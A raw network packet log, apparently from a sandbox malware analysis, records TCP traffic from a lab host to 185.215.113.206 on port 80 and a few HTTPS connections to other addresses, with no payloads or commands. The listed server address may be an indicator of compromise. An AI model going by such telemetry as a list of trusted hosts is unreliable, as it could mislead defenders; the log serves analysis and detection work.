Nov 26, 2024 08:03:48.756706953 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.756767988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.756844044 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.757553101 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.757610083 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.757738113 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.757874966 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.758457899 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.758569956 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.758650064 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.759469032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.759520054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.759521008 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.759598970 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.760246038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.760348082 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.760412931 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.760620117 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.761156082 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.761223078 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.761261940 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.761470079 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.762061119 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.762147903 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.762176037 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.762763023 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.762926102 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.762969971 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.763041019 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.763087034 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.763859034 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.763943911 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.763972044 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.763995886 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.764786005 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.764861107 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.764931917 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.765691042 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.765788078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.765795946 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.765827894 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.766566038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.766745090 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.766807079 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.767474890 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.767699957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.767748117 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.768368006 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.768456936 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.768480062 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.768584013 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.769237041 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.769365072 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.769371986 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.769439936 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.770181894 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.770292997 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.770344019 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.771084070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.771162033 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.771189928 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.771231890 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.771966934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.772058964 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.772066116 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.772295952 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.772906065 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.772974968 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.773073912 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.773134947 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.773785114 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.773869038 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.773890018 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.773957014 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.774667978 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.774722099 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.774785995 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.774826050 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.775572062 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.775680065 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.775712013 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.775727987 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.776479006 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.776623011 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.776797056 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.777435064 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.777556896 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.777614117 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.778320074 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.778362989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.778409004 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.779190063 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.779248953 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.779325962 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.779392004 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.780100107 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.780216932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.780216932 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.780286074 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.781008959 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.781105042 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.781125069 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.781169891 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.781924009 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.781979084 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.782054901 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.782115936 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.782814026 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.782954931 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.783011913 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.783705950 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.783797979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.783849001 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.784590006 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.784688950 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.784739017 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.785511017 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.785626888 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.785710096 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.825872898 CET	49795	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:48.825948000 CET	443	49795	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:48.833734989 CET	49796	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:48.833817005 CET	443	49796	204.79.197.203	192.168.2.8
Nov 26, 2024 08:03:48.950221062 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.950297117 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.950356007 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.950406075 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.950728893 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.950793982 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.950885057 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.950972080 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.951001883 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.951049089 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.951775074 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.951837063 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.951900959 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.951960087 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.952510118 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.952565908 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.952667952 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.952719927 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.953270912 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.953342915 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.953408003 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.954083920 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.954143047 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.954291105 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.954343081 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.954873085 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.954919100 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.954945087 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.954962015 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.955650091 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.955713987 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.955765963 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.955849886 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.956403017 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.956463099 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.956506968 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.956598997 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.957330942 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.957386971 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.957389116 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.957438946 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.958297968 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.958440065 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.958450079 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.958587885 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.959096909 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.959151030 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.959187984 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.959249973 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.959958076 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.960041046 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.960098982 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.960154057 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.960935116 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.961060047 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.961128950 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.962045908 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.962104082 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.962110996 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.962193012 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.963025093 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.963064909 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.963109970 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.963710070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.963782072 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.963860989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.964037895 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.964497089 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.964540005 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.964617014 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.965385914 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.965495110 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.965512991 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.965558052 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.966375113 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.966455936 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.966497898 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.966556072 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.967180967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.967242956 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.967282057 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.967467070 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.968064070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.968199968 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.968298912 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.968986034 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.969033957 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.969099045 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.969161987 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.969872952 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.969923973 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.969984055 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.970042944 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.970840931 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.970900059 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.970913887 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.971000910 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.971683025 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.971786976 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.971899033 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.971952915 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.972563982 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.972620010 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.972676992 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.972815990 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.973469973 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.973534107 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.973597050 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.973654032 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.974447012 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.974525928 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.974591017 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.975361109 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.975425959 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.975474119 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.975522995 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.976203918 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.976252079 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.976289034 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.976305962 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.977118969 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.977221012 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.977364063 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.978020906 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.978066921 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.978121042 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.978163004 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.978934050 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.979020119 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.979085922 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.979891062 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.979950905 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.979999065 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.980058908 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.980688095 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.980761051 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.980792999 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.981678963 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.981772900 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.981772900 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.982518911 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.982584000 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.982606888 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.983414888 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.983489037 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.983505964 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.984328032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.984401941 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.984479904 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.985240936 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.985277891 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.985292912 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.986121893 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.986197948 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.986227036 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.986279011 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.987057924 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.987109900 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.987112999 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.987176895 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.987983942 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.988095045 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.988152027 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.988833904 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.989070892 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.989130974 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.989722967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.989805937 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.989815950 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.989898920 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.990614891 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.990655899 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.990679979 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.990860939 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.991485119 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.991636038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.991689920 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.992414951 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.992486000 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.992522001 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.992575884 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.993485928 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.993588924 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.993627071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.993721962 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.994229078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.994292021 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.994322062 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.994371891 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.995110035 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.995239019 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.995244980 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.995302916 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.996021986 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.996090889 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.996121883 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.996165991 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:49.096976995 CET	49816	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:03:49.097027063 CET	443	49816	23.44.201.4	192.168.2.8
Nov 26, 2024 08:03:49.097176075 CET	49816	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:03:49.097580910 CET	49816	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:03:49.097593069 CET	443	49816	23.44.201.4	192.168.2.8
Nov 26, 2024 08:03:49.098153114 CET	49817	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:03:49.098191977 CET	443	49817	23.44.201.4	192.168.2.8
Nov 26, 2024 08:03:49.098261118 CET	49817	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:03:49.098594904 CET	49817	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:03:49.098604918 CET	443	49817	23.44.201.4	192.168.2.8
Nov 26, 2024 08:03:49.103319883 CET	49818	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:03:49.103373051 CET	443	49818	204.79.197.219	192.168.2.8
Nov 26, 2024 08:03:49.103637934 CET	49818	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:03:49.104002953 CET	49819	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:03:49.104047060 CET	443	49819	204.79.197.219	192.168.2.8
Nov 26, 2024 08:03:49.104187012 CET	49818	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:03:49.104202986 CET	443	49818	204.79.197.219	192.168.2.8
Nov 26, 2024 08:03:49.104260921 CET	49819	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:03:49.104444981 CET	49819	443	192.168.2.8	204.79.197.219
Nov 26, 2024 08:03:49.104455948 CET	443	49819	204.79.197.219	192.168.2.8
